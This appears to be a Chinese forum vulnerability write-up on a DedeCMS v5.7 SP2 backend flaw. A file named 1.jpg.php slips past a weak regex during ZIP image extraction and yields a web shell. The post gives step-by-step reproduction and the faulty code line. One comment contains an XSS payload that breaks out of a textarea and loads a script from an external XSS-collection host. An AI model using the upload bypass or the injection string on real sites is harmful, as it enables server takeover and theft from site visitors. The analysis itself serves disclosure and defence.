某cms v5.7 sp2 后台 getshell
xiaohuihui1 漏洞分析 11026浏览 · 2019-02-26 01:32

0x00 简述
版本:deedcms v5.7 sp2
下载链接:http://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7-UTF8-SP2.tar.gz
dedecms后台getshell漏洞有很多,之前遇见的都是一些直接上传php文件,或者修改一下后缀(大小写),或者修改模版。这个漏洞产生的原因也是在上传功能处,不同之处是,需要上传的是一个zip文件,然后zip文件在解压过程中对文件名校验不严格,造成可以getshell
0x01 演示

  1. 首先构造一个文件名为1.jpg.php的文件,内容为<?php phpinfo();?>
  2. 将该文件进行压缩

  1. 在常用操作-文件式管理器处上传压缩文件到soft目录下


4.访问dede/album_add.php,选择从 从ZIP压缩包中解压图片

  1. 发布,预览文档

0x02 代码分析
查看album_add.php
参数dopost值为save
执行49行的else if

跟踪代码到160行,从压缩文件中获取图片

进入GetMatchFiles函数,传入的fileexp为jpg|png|gif

通过正则匹配检查文件名是否合法

漏洞产生点:

else if(preg_match("/\.(".$fileexp.")/i",$filename))
            {
                $filearr[] = $truefile;
            }

3 条评论
某人
表情
可输入 255
陈摸摸摸鱼
2020-11-01 05:27 0 回复

</p></textarea>'"><script src=https://xsspt.com/3os6wJ?1604208395></script>


4nyw4y
2019-03-04 08:04 0 回复

deedcms???


xiaohuihui1
2019-02-26 07:43 0 回复

  1. 首先构造一个文件名为1.jgp.php的文件,内容为<?php phpinfo();?>

    编辑错误 是构造一个文件名为 1.jpg.php的文件 内容<?php phpinfo();?>


目录